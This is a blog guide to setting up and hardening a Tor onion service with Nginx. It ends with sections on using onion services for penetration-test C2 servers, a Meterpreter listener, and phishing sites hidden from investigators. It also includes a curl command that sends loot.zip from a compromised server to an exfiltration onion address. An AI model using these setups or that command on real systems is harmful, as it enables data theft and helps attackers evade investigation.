How To Create An Onion Website (Guide)
- Dylan Gallus

- 10 hours ago
- 6 min read

How To Create An Onion Website
Setting up an onion service is straightforward — it's just a web server behind Tor's rendezvous protocol. The actual work is configuring it correctly so you don't leak your real IP through misconfiguration. Here's the complete operational guide and article on how to create an onion website.
How Onion Services Work (Quick Primer)
Normal Tor:
You → Guard → Middle → Exit → Website (exit node sees traffic, website sees exit node IP)
Onion service: You → Guard → Middle → Rendezvous ← Middle ← Guard ← Onion Server
Both sides build circuits to a rendezvous point. Neither knows the other's IP. No exit nodes involved. End-to-end encrypted at the application layer on top of Tor's hop-by-hop encryption. This is why .onion services don't need HTTPS certificates — though you can add them for defense-in-depth.
Step 1: Install Tor
bash
# Debian/Ubuntu/Kali
sudo apt install tor
# Verify
tor --version
# Enable and start
sudo systemctl enable tor
sudo systemctl start torStep 2: Install Your Web Server
Nginx is the standard choice for onion services. Lightweight, easy to lock down.
bash
sudo apt install nginx
sudo systemctl enable nginx
sudo systemctl start nginxStep 3: Configure the Onion Service
Edit Tor's configuration file:
bash
sudo nano /etc/tor/torrc
Add these lines:
# Hidden service configuration
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
What this does:
HiddenServiceDir — Tor stores the onion private key and hostname here
HiddenServicePort 80 127.0.0.1:8080 — connections to your .onion on port 80 get forwarded to your local web server on port 8080
Restart Tor:
bash
sudo systemctl restart torStep 4: Get Your Onion Address
bash
sudo cat /var/lib/tor/hidden_service/hostname
You'll see something like:
xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion
This is the v3 onion address. The private key is in the same directory:
bash
sudo ls /var/lib/tor/hidden_service/
# hs_ed25519_secret_key hs_ed25519_public_key hostname
Guard these keys. Anyone who gets hs_ed25519_secret_key can impersonate your onion service. Back them up securely.
Step 5: Configure Nginx for the Onion
Create a dedicated Nginx config:
bash
sudo nano /etc/nginx/sites-available/onion
nginx
server {
listen 127.0.0.1:8080; # Only localhost — Tor forwards here
server_name xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion;
root /var/www/onion;
index index.html;
# ACCESS LOGGING — CRITICAL DECISION
# Option 1: Disable entirely (recommended, no forensic evidence)
access_log off;
# Option 2: Log locally but with privacy (no IPs logged — they're always 127.0.0.1 anyway)
# access_log /var/log/nginx/onion_access.log combined;
error_log /var/log/nginx/onion_error.log;
# Security: no server tokens in responses
server_tokens off;
more_clear_headers 'Server';
location / {
try_files $uri $uri/ =404;
}
}
Enable it:
bash
sudo ln -s /etc/nginx/sites-available/onion /etc/nginx/sites-enabled/
sudo rm /etc/nginx/sites-enabled/default # Remove default site
sudo nginx -t # Test config
sudo systemctl reload nginx
Create your content directory:
bash
sudo mkdir -p /var/www/onion
echo "<h1>Onion service is live</h1>" | sudo tee /var/www/onion/index.html
sudo chown -R www-data:www-data /var/www/onionStep 6: Test it
From any Tor Browser, navigate to:
Or test locally on the server:
bash
curl --socks5-hostname 127.0.0.1:9050 http://xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion
Hardening: This Is Where It Matters
A default Nginx install leaks. It leaks the server IP. It leaks through error pages. It leaks through DNS. Lock this down.
Prevent DNS Leaks
Nginx might try to resolve hostnames. Force it not to:
nginx
# In the http block of /etc/nginx/nginx.conf
server_names_hash_bucket_size 128;
# In your onion server block
server {
# Never attempt DNS resolution
resolver 127.0.0.1 valid=0;
resolver_timeout 1s;
}
Disable Error Pages That Leak Server Info
nginx
# Catch all errors with a generic response
error_page 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 421 422 423 424 425 426 428 429 431 451 500 501 502 503 504 505 506 507 508 510 511 = /error.html;
location = /error.html {
internal;
return 200 "Error";
add_header Content-Type text/plain;
}
Remove Every Signature
nginx
# In nginx.conf http block
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;
fastcgi_hide_header X-Powered-By;
# Install the headers-more module for this to work:
# sudo apt install nginx-extras (Kali/Debian)
more_clear_headers 'Server';
more_clear_headers 'X-Powered-By';
Rate Limiting (Anti-DDoS / Anti-Crawling)
nginx
# In nginx.conf http block
limit_req_zone $binary_remote_addr zone=onion:10m rate=5r/s;
# In your onion server block
location / {
limit_req zone=onion burst=10 nodelay;
try_files $uri $uri/ =404;
}
Bind Nginx to Localhost Only
Verify Nginx isn't listening on the public interface:
bash
sudo netstat -tlnp | grep nginx
You should see only 127.0.0.1:8080 — nothing on 0.0.0.0 or your public IP. If you see anything else, fix your listen directives.
Firewall Rules
bash
# Block all inbound except SSH (and even that should be key-only)
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw enable
# Verify
sudo ufw status verbose
No holes for ports 80 or 443. The onion service reaches Nginx through localhost — no network port exposure needed.
Multi-Port Onion Services
You can serve multiple ports. Common setup for pentest C2 infrastructure:
bash
# In torrc
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
HiddenServicePort 443 127.0.0.1:8443
HiddenServicePort 4444 127.0.0.1:4444
All three ports share the same .onion address. Port 4444 could be a Meterpreter listener, port 80/443 the C2 panel.
Stealth/PoW (Proof-of-Work) Protection
Tor v3 services support client PoW to mitigate DoS. Edit torrc:
HiddenServicePoWDefensesEnabled 1
HiddenServicePoWQueueRate 5
HiddenServicePoWQueueBurst 100
Clients solve a small computational puzzle before connecting. Annoying for legitimate users but effective against flooding attacks. For a pentest C2 where only your implants connect, enable this — it won't bother your payload but will slow down scanners.
HTTPS on Onion? Not Required, But Possible
Tor encrypts the circuit end-to-end. HTTPS is redundant for encryption but useful for:
Defense-in-depth (someone exploits Tor, they still need to break TLS)
Trust signaling (EV cert shows a real org operates the onion)
C2 callback verification (your implant can pin a certificate)
To add HTTPS:
bash
# Get a certificate (Let's Encrypt won't validate .onion domains,
# so self-sign or use DigiCert, which offers .onion EV certs)
openssl req -x509 -newkey rsa:4096 -keyout onion.key -out onion.crt \
-days 365 -nodes -subj "/CN=xyzzyexample7v3g2p3y4q5x6y7z8a9b0c1d2e3f4g5h6.onion"
Then configure Nginx for TLS on a separate port and add a corresponding HiddenServicePort 443 127.0.0.1:8443.
Pentest-Specific Onion Service Uses
C2 Infrastructure
[Implant] → Tor SOCKS → your-ops.onion:4444 → Nginx reverse proxy → C2 listener
Your C2 (Cobalt Strike, Mythic, Sliver, Metasploit) listens on localhost. Nginx streams connections through to it. The implant connects via the .onion. No VPS IP exposed. No domain registration. No hosting provider subpoena.
Phishing Infrastructure (Authorized Testing)
[Target] → your-phish.onion → Nginx → Phishing framework (GoPhish, Evilginx)
The .onion URL goes in the phishing email. Clicks route through Tor. If the target's network blocks Tor, they can't reach it — so have a clearnet fallback for broad tests, but the .onion version means your phishing server IP is hidden from investigators.
Data Exfiltration Endpoint
[Compromised server] → curl --socks5-hostname 127.0.0.1:9050 \
-X POST -d @loot.zip http://your-exfil.onion/drop
The compromised server runs a local Tor instance, curls through it. No direct outbound DNS lookups. Firewall sees an encrypted connection to a Tor guard relay — the destination .onion is invisible.
Common Self-De-Anonymization Mistakes
Mistake | Fix |
Nginx listening on 0.0.0.0:8080 | listen 127.0.0.1:8080 — never a public interface |
PHP error messages exposing path /var/www/onion/... | display_errors = Off in php.ini |
Exposed /server-status or /nginx_status | Disable stub_status module or restrict to localhost |
MySQL port 3306 on 0.0.0.0 | Bind MySQL to 127.0.0.1:3306 only |
curl on the server hitting external URLs and leaking the server IP | Firewall block all outbound non-Tor traffic; force curl through Tor |
SSH on port 22 open to the world | Key-only auth, rate-limited, or listen on 127.0.0.1 only |
Application bugs that send emails | Disable sendmail / SMTP from the server entirely |
Uploaded files served with real path metadata | Strip EXIF, serve with generic filenames, no directory listings |
DNS queries from the server to resolve external resources in the web app | Run a local caching resolver, force through Tor, or disable DNS entirely |
Outbound Traffic Isolation (Critical)
Your web server should never make a direct outbound connection. If your PHP app does file_get_contents('http://some-api.com'), you just leaked your server IP to that API. Force app outbound through Tor:
bash
# torsocks forces any app through Tor
sudo apt install torsocks
# Test
torsocks curl http://check.torproject.org/api/ip
Or configure the application to use a SOCKS5 proxy:
php
// PHP
$context = stream_context_create([
'http' => ['proxy' => 'socks5h://127.0.0.1:9050']
]);
file_get_contents('http://some-api.com', false, $context);Verification Checklist
bash
# 1. Tor is running and service is published
sudo journalctl -u tor -f
# Look for: "Your service is now published."
# 2. Nginx only on localhost
sudo netstat -tlnp | grep nginx
# Should show ONLY 127.0.0.1:xxxx
# 3. No ports on public interface
sudo netstat -tlnp | grep -E "0.0.0.0|:::" | grep -v "127.0.0.1"
# 4. Onion resolves locally through Tor
curl --socks5-hostname 127.0.0.1:9050 http://your-onion.onion
# 5. From external Tor Browser
# Navigate to http://your-onion.onion
# 6. Check server headers don't leak info
curl --socks5-hostname 127.0.0.1:9050 -I http://your-onion.onion
# Should not show: Server: nginx/1.xx.xx or X-Powered-By
# 7. Verify no DNS leaks
sudo tcpdump -i eth0 port 53
# While accessing the onion, there should be zero DNS queries



Comments